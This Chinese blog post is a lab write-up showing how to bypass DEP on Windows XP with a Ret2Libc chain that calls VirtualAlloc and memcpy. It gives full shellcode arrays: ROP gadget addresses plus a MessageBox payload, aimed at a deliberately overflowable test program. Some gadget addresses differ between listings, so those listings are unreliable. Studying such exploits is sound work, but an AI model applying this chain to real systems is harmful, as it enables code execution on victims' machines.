9.4 RetLibc实战之利用VirtualAlloc

最新推荐文章于 2023-01-04 00:49:40 发布
最新推荐文章于 2023-01-04 00:49:40 发布
阅读量759 收藏 1
点赞数
分类专栏： 0day安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_55202378/article/details/127823833
版权
本文详细介绍了如何通过利用VirtualAlloc函数申请可执行内存空间，结合shellcode，绕过DEP（数据执行保护）的技术。实验中，首先找到VirtualAlloc函数地址，然后构造shellcode申请内存，接着修复EBP并复制shellcode到新内存，最后执行shellcode。整个过程涉及到内存管理、函数调用和代码注入等技术。
摘要由CSDN通过智能技术生成

目录

一、实验原理

二、实验环境

三、实验代码

四、实验步骤

1、找到VirtualAlloc函数

2、申请可执行内存空间

3、将shellcode复制到可执行内存空间

4、执行shellcode

一、实验原理

        为了解决DEP对特殊程序的影响，除了VirtualProtect函数，微软还提供了另一个API函数——VirtualAllloc。当程序需要一段可执行内存时，可以通过kernel32.dll中的VirtualAlloc函数来申请一段具有可执行属性的内存。我们可以将Ret2Libc的第一跳设置为VirtualAlloc函数地址，然后将shellcode复制到申请的内存空间，以绕过DEP的限制。
        关于VirtualAlloc函数： 
LPVOID WINAPI VirtualAlloc( 
 __in_opt LPVOID lpAddress,     //申请内存区域的地址
 __in SIZE_T dwSize,            //申请内存区域的大小
 __in DWORD flAllocationType,   //申请内存的类型
 __in DWORD flProtect           //申请内存的访问控制类型
);

        内存申请成功时，函数返回申请内存的起始地址，申请失败时返回NULL。

        VirtualAlloc函数的执行流程：

        关键参数取值如下：

        （1）lpAddress=0x00030000，只要选择一个未被占用的地址即可，没有什么特殊要求；

        （2）dwSize-0xFF，申请空间的大小可以根据shellcode的长度确定；

        （3）flAllocationType=0x00001000，本实验采用该值即可；

        （4）flProtect=0x00000040，内存属性设置为可读可写可执行，该属性对应的代码为0x00000040。

        由此可以看出，本次实验不需要动态设计参数。

二、实验环境

        windows xp sp2、原版OD、DEP状态：Optout、VC++6.0(release)

三、实验代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址，转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址，拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	__asm int 3
	test();
    return 0;
}

        实验思路及代码简要解释：

        （1）本次实验不采用GS和SafeSEH;

        （2）函数test存在一个典型的溢出，通过向str复制超长字符串造成str溢出，进而覆盖函数返回地址；

        （3）覆盖掉函数返回地址后，通过Ret2Libc技术，利用VirtualAlloc函数申请一段具有执行权限的内存；

        （4）通过memcpy函数将shellcode复制到VirtualAlloc函数申请的可执行内存空间中。

四、实验步骤

1、找到VirtualAlloc函数

        可知，本机VirtualAlloc()函数的地址为0x7C809AE1。直接选择0x7C809AF4（call VirtualAllocEx）作为切入点。

2、申请可执行内存空间

        由于EBP在溢出过程中被破坏，所以第一步依然是修复EBP，我们用PUSH ESP POP EBP RETN 4指令覆盖test函数的返回地址;

        在内存中找一条PUSH ESP POP EBP RETN 4指令，这里选0x5D1D8B85。

        然后按照VirtualAlloc函数的参数布置一个能够申请可执行内存空间的shellcode，shellcode如下所示：

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
;

        编译并运行OD，运行到即将进入VIrtualAllochan函数的地方，注意参数在栈帧中的位置；

        执行完VirtualAlloc函数；

        可以看到申请可执行内存空间成功。

3、将shellcode复制到可执行内存空间

        确定memcpy()函数在内存中的地址，memcpy函数位于ntdll.dll：

        可知memcpy在0x7C921DB3处。memcpy函数的切入点为0x7C921DB8处。

        memcpy函数需要三个参数，依次为目的内存起始地址、源内存起始地址、复制长度，其中目的内存起始地址和复制长度都可以直接写在shellcode中，唯一需要确定的就是源内存起始地址的确定。

        具体做法：保证源内存起始地址在shellcode中关键代码的前边即可，因此可以使用PUSH ESP JMP EAX来填充这个参数。将ESP中保存的数据放到memcpy函数的源内存地址这一参数的地方，因为此时ESP的指向一定在shellcode之前，所以就可以保证将shellcode复制到可执行区域。

        执行完RETN 10之后，EIP将指向POP EAX RETN，ESP将指向0x0012FEDC处，而0x0012FEDC处就是放一条让EAX指向的特殊指令。暂时不讨论这一指令是什么。

        找一条POP EAX RETN指令：

        这里用0x7DCED974处的POP EAX RETN。    

另外，需要注意：此时EBP已经被覆盖，所以需要二次修复。

        大致构造shellcode：

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"//eax指向先不确定
"\x85\x8B\x1D\x5D"//修正EBP retn 4

        重新编译程序，程序停在修正EBP的位置，查看内存状态：

        注意到：EBP+8、EBP+C、EBP+10保存着memcpy的三个参数。我们现在要改变EBP+C的值，也就是让ESP指向0x0012FEF0，再用PUSH RETN就可修改源内存地址这一参数了。

        可以看到各个参数的入栈顺序，已经对应的入栈指令。

        程序指向retn 4之后，ESP将会指向0x0012FEEC处，所以在Ox0012FEE4处放一个POP RETN指令。这样ESP就可以指向EBP+10处了，再执行push指令，就可以修改源内存地址这一参数了。

        找一个POP RETN指令：

        选择0x7DC2BD78处的POP ECX RETN指令。

        在执行完PUSH操作后，收回控制程序的最佳位置在EBX+0x14，即0x0012FEF8处，在这里执行RETN指令既不会破坏memcpy函数的参数，也可以减少shellcode的长度。

        执行PUSH操作后，ESP指向0x0012FEF0处，只需要POP两次，就可以使得ESP指向EBP+0x14的位置，所以JMP EAX中的EAX应该指向类似POP POP RETN的指令序列。然后再EBP+0x14处放置memcpy函数的切入点0x7C921DB3，这样程序就可以转入memcpy函数中执行复制操作了。

        找一条POP POP RETN指令：

        选择0x7D713C4E处的POP POP RETN指令序列。

        PUSH ESP JMP EAX:

        地址：0x77EBC6C6

        构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x90\x90\x90\x90"
"\x00\x00\x03\x00"//可执行内存空间地址，转入执行用
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy

        可以看到复制操作的源内存起始地址为0x0012FEF4，这个位置也是memcpy函数的复制长度参数所在位置，所以只要在它后边放置对话框的机器码即可。

4、执行shellcode

        构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址，转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址，memcpy参数
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

         编译运行，发现虽然复制操作会把一些额外的代码复制过去，但是不影响弹窗，故没深究，直接弹窗了。

 

 

 
PT_silver
关注
专栏目录
浏览器漏洞利用实战
悦分享
10-04 135
C++对象的前4字节存放了指向虚表的指针，如果我们用指向Shellcode的值覆盖了这个指针，调用任何对象的虚函数都会最终执行我们的Shellcode。首先是DEP的绕过。在XP SP3的IE中可以利用msvcrt.dll的代码段来提供Gadget，同时，msvcrt.dll还是一个没有开启ASLR的模块，因此如果所有的ROP Gadget全部来自没有开启ASLR模块，那么既可以绕过DEP，又可以绕过ASLR（不要忘了在Windows 7的IE8上，该漏洞也能触发，Win7中是开启了ASLR的）。
VirtualAlloc的使用
编程爱好者的博客
05-23 1万+
在应用程序中使用虚拟内存(VirtualAlloc VirtualFree) 本文转载以下博客，百度百科，cpp文档 https://blog.csdn.net/baidu_25539425/article/details/78764156 https://blog.csdn.net/u012372584/article/details/79621538 https://www.cnblo...
Windows API一日一练(77)VirtualAlloc函数
anjichan4261的博客
11-20 371
上一次学习了全局内存的分配，在Windows里内存管理是分为两部份，全局内存是系统管理的内存，因而所有进程都可以访问的内存，而每一个进程又有自己的内存空间，这就是虚拟内存空间了，而虚拟内存的空间比较大，当物理内存不足时，系统会把虚拟内存的数据保存到硬盘里，这样只要硬盘的空间足够大，每个进程就可以使用3G的内存。虚拟内存分配可以作为程序里分配内存的主要方式，比如大量的数据缓冲区，动态分配内...
VirtualAlloc函数使用总结
热门推荐
04-16 2万+
如果我们的程序需要动态内存的话，则迟早会调用Win32函数VirtualAlloc。但是程序也可以不调用VirtualAlloc，而是直接调用Windows堆函数或者CRT堆函数。不过，知道VirtualAlloc如何工作，可以帮助我们更好地理解这些调用函数。     首先，必须知道保留(Reserved)内存和占用（Committed）内存的含义。当内存放保留时，一段连续虚拟地址空间被留出。例
不同内存分配方式的区别 VirtualAlloc HeapAlloc malloc new
Fire_Lord的专栏
01-14 5359
在进行Windows的学习过程中，经常看到不同的内存分配方式，例如VirtualAlloc, HeapAlloc, malloc和new。它们之间存在一些差异。 (1) VirtualAlloc PVOID VirtualAlloc(PVOID pvAddress, SIZE_T dwSize, DWORD fdwAllocationType, DWORD fdwProtect) V
0day 第12章--12.3.3 Ret2Libc实战之利用VirtualAlloc
I have a dream
04-08 448
实验环境： Winxp sp3 VS2010 实验配置： 禁用优化、关闭GS、关闭safeseh、开启DEP 思路：当程序需要一段可执行内存时，可以通过kernel32.dll的VirtualAlloc申请一段具有可执行属性的内存。因此可通过利用此函数将shellcode复制到申请的内存空间中，以绕过DEP。 如何利用？ 将返回地址覆盖为VirtualAlloc的地址，参数输入进去即可。 ...
申请内存区别new malloc HeapAlloc VirtualAlloc
04-23
`new`, `malloc`, `HeapAlloc`, 和 `VirtualAlloc`都是用于在程序中动态分配内存的常见方法，但它们之间存在明显的区别和使用场景。理解这些差异有助于优化程序性能和避免内存泄漏。 首先，`new`是C++中的运算符，...
hook VirtualProtect And VirtualAlloc
01-19
在IT行业中，"hook VirtualProtect And VirtualAlloc"是一个针对系统内存管理的高级技术主题，主要涉及Windows操作系统。VirtualProtect和VirtualAlloc是Windows API中的两个关键函数，它们用于管理和控制进程内存。...
VirtualAlloc函数
小虎的空间
06-03 1218
VC声明LPVOID VirtualAlloc(  LPVOID lpAddress,        // region to reserve or commit  SIZE_T dwSize,           // size of region  DWORD flAllocationType,  // type of allocation  DWORD flProtect         
使用VirtualAlloc()创建虚拟内存，修改可读、可写属性
dijkstar的专栏
07-12 4136
#include void main(){ SYSTEM_INFO sf; GetSystemInfo(&sf); //分配内存，标记为提交、可读可写 LPVOID lpvBase = VirtualAlloc(        NULL,                 // system selects address        4096,     // size of alloca
VirtualAlloc函数用法总结 预订 调拨
我的专栏
01-23 2079
VirtualAlloc函数原型为 LPVOID VirtualAlloc( LPVOID lpAddress, // region to reserve or commit SIZE_T dwSize, // size of region DWORD flAllocationType, // type of allocation DWORD flProtect // type of a
VirtualAlloc｜VirtualFree｜VirtualCopy ｜VirtualProtect ｜VirtualQuery - WINDOWS API 第七弹 为进程申请虚拟内存
Bobowen的博客
01-04 2287
我们知道计算机为了更加高效的使用物理内存，设计出了虚拟内存给进程使用，进程需要运行的话只需要将虚拟内存映射到物理内存即可，当然这也属于非常繁琐的计算机科学了，我们一步一步揭开这个api的神秘面纱吧。vitualalloc系列的函数实现了windows进程虚拟内存向物理内存的转换，是比较底层和重要的api。还有一些，这些大家自己去找吧。夜已深，好梦。
使用windows内存-VirtualAlloc
Barry的博客
01-02 1万+
内存管理机制--虚拟内存 (VM) ·        虚拟内存使用场合 虚拟内存最适合用来管理大型对象或数据结构。比如说，电子表格程序，有很多单元格，但是也许大多数的单元格是没有数据的，用不着分配空间。也许，你会想到用动态链表，但是访问又没有数组快。定义二维数组，就会浪费很多空间。 它的优点是同时具有数组的快速和链表的小空间的优点。   ·        分配虚拟内存
VirtualAlloc 分配与访问测试代码（double类型）
hnalvin的专栏
05-21 668
void CMainFrame::Onabc() { UINT nNewSize = (UINT)(2048*2048*200); // 1024.0) * 1024; double * pNewBuffer =(double*)  VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE); if (pNewBuffer) {  //测试虚拟内存。
虚拟内存管理-分配内存空间 VirtualAlloc使用
wansichao的专栏
12-29 1259
// ConsoleApplication9.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include int _tmain(int argc, _TCHAR* argv[]) { LPVOID lpvBase = VirtualAlloc( NULL, // 1024*64*5,
VirtualAllocEx函数
weixin_30402343的博客
02-22 378
VirtualAllocEx 函数的作用是在指定进程的虚拟空间保留或提交内存区域，除非指定MEM_RESET参数，否则将该内存区域置0。 LPVOID VirtualAllocEx( HANDLE hProcess, // 申请内存所在的进程句柄 LPVOID lpAddress, // 保留页面的内存地址；一般用NULL自动分配 SIZE_T dwSize, // 欲分配的内...
《Windows API巡礼》---VirtualAlloc和VirtualFree
ASCE1885
07-01 3252
<br />进程的虚拟地址空间内存页面存在三种状态，分别是空闲的free、保留的reserved和提交的committed。多数情况下，一页大小是4KB：<br />空闲页面：进程不能访问此类页面，因为此类页面还没有被分配，任何属于这种页面的虚拟内存地址进行访问都将引发访问异常；<br />保留页面：页面被保留以备将来只用，此类页面已经被分配，但是还没有使用，物理地址空间中的内存中不存在其对应的物理内存分页。处理保留状态的内存分页也不能被访问；<br />提交页面：内存已经被分配，并且已经被使用，具有与之对
c++ Thunk代码使用VirtualAlloc
最新发布
07-15
在 C++ 中，可以使用 `VirtualAlloc` 函数来分配内存，并将其用作 Thunk 函数的代码。下面是一个示例代码，展示了如何使用 `VirtualAlloc` 来创建一个简单的 Thunk 函数： ```cpp #include #include // 定义一个...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值